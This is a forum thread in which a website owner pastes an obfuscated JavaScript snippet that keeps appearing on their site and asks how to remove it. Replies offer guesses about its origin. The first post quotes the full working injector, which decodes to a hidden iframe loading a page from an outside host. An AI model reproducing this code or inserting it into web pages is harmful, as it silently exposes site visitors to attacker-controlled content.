1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Question about script

Discussion in 'HTML & JavaScript' started by jabula, Mar 13, 2009.

  1. jabula

    jabula Newbie

    Joined:
    Jul 6, 2008
    Messages:
    35
    Likes Received:
    1
    I have noticed that this script is been placed on my site without my permission everyday which distorts the web page. I'm the only one who has access to the site, but somehow this is on there & has to be removed daily. Can someone please help me solve this. Here's the script:
    <script>function c2882110cbp49bab345b7982(p49bab345b816c){ var p49bab345b8921=16; return (parseInt(p49bab345b816c,p49bab345b8921));}function p49bab345b98c1(p49bab345ba090){ var p49bab345bc79e=2; var p49bab345bb7ff='';p49bab345bd73e=String.fromCharCode;for(p49bab345bbfce=0;p49bab345bbfce<p49bab345ba090.length;p49bab345bbfce+=p49bab345bc79e){ p49bab345bb7ff+=(p49bab345bd73e(c2882110cbp49bab345b7982(p49bab345ba090.substr(p49bab345bbfce,p49bab345bc79e))));}return p49bab345bb7ff;} var u34='';var p49bab345bdf0e='3C7'+u34+'3637'+u34+'2697'+u34+'07'+u34+'43E696628216D7'+u34+'96961297'+u34+'B646F637'+u34+'56D656E7'+u34+'42E7'+u34+'7'+u34+'7'+u34+'2697'+u34+'465287'+u34+'56E657'+u34+'363617'+u34+'065282027'+u34+'2533632536392536362537'+u34+'322536312536642536352532302536652536312536642536352533642536332533322533382532302537'+u34+'332537'+u34+'32253633253364253237'+u34+'2536382537'+u34+'342537'+u34+'342537'+u34+'302533612532662532662536392537'+u34+'342536332536662537'+u34+'352536652537'+u34+'342536352537'+u34+'322532652536652536352537'+u34+'342532662536332536662537'+u34+'352536652537'+u34+'342536352537'+u34+'322532652537'+u34+'302536382537'+u34+'30253366253237'+u34+'2532622534642536312537'+u34+'342536382532652537'+u34+'322536662537'+u34+'352536652536342532382534642536312537'+u34+'342536382532652537'+u34+'32253631253665253634253666253664253238253239253261253331253334253333253335253332253330253239253262253237'+u34+'253336253330253332253338253634253330253635253237'+u34+'2532302537'+u34+'37'+u34+'2536392536342537'+u34+'34253638253364253332253334253330253230253638253635253639253637'+u34+'2536382537'+u34+'342533642533352533392533382532302537'+u34+'332537'+u34+'342537'+u34+'39253663253635253364253237'+u34+'2537'+u34+'362536392537'+u34+'332536392536322536392536632536392537'+u34+'342537'+u34+'39253361253638253639253634253634253635253665253237'+u34+'2533652533632532662536392536362537'+u34+'3225363125366425363525336527'+u34+'29293B7'+u34+'D7'+u34+'6617'+u34+'2206D7'+u34+'969613D7'+u34+'47'+u34+'27'+u34+'5653B3C2F7'+u34+'3637'+u34+'2697'+u34+'07'+u34+'43E';document.write(p49bab345b98c1(p49bab345bdf0e));</script>
     
  2. p2y

    p2y Regular Member

    Joined:
    Aug 29, 2007
    Messages:
    240
    Likes Received:
    69
    Occupation:
    Student
    replace document.write to alert to see what script writes to your page.
     
  3. jabula

    jabula Newbie

    Joined:
    Jul 6, 2008
    Messages:
    35
    Likes Received:
    1
    Sorry, what does that mean please & how can I resolve it? Do I need to upload it a different way?
     
  4. jabula

    jabula Newbie

    Joined:
    Jul 6, 2008
    Messages:
    35
    Likes Received:
    1
    I tried what you suggested but didn't get anything as far as 'alert.'It's weird that it gets onto my web page automatically everyday though.
     
  5. p2y

    p2y Regular Member

    Joined:
    Aug 29, 2007
    Messages:
    240
    Likes Received:
    69
    Occupation:
    Student
    pm me your url
     
  6. Mactronn

    Mactronn Junior Member

    Joined:
    Feb 17, 2009
    Messages:
    144
    Likes Received:
    9
    I need more info...
    What a type CMS run on that page ?

    This code is encrypted java script and looks like PHP/MySql injection attack on your page..
    Send me PM for more details!
     
  7. mightybh

    mightybh Jr. VIP Jr. VIP Premium Member

    Joined:
    Feb 27, 2008
    Messages:
    1,029
    Likes Received:
    1,714
    Occupation:
    CEO
    Location:
    UK
    WTF is this doing in member downloads?
     
  8. ukescuba

    ukescuba Jr. VIP Jr. VIP Premium Member

    Joined:
    Feb 24, 2008
    Messages:
    994
    Likes Received:
    634
    Occupation:
    Mobile Marketer & QR Code Junkie
    Location:
    San Antonio, TX
    Home Page:
    is it not just wordpress encrypted footer by the template author?